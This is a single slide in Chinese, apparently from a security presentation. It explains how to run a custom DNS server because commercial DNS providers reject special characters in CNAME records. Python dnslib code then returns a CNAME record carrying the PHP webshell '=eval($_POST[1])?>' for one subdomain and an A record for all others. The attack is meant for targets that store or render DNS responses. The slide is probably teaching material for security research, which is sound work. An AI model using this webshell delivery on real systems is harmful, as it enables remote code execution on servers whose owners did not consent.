Slide 39
Slide 39 text
DNS服务器搭建
目标:搭建自己的DNS服务器,并返回包含Webshell的CNAME记录
原因:DNSPOD等DNS服务商不支持CNAME中包含特殊符号
过程:利用dnslib.py
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1,
ra=1), q=request.q)
qname = request.q.qname
if qn.startswith('aaa.dddns.leavesongs.com'):
rdata = CNAME('=eval($_POST[1])?>.dddns.leavesongs.com')
reply.add_answer(RR(rname=qname, rtype=5, rclass=1, ttl=300,
rdata=rdata))
else:
rdata = A('107.191.60.143')
reply.add_answer(RR(rname=qname, rtype=1, rclass=1, ttl=300,
rdata=rdata))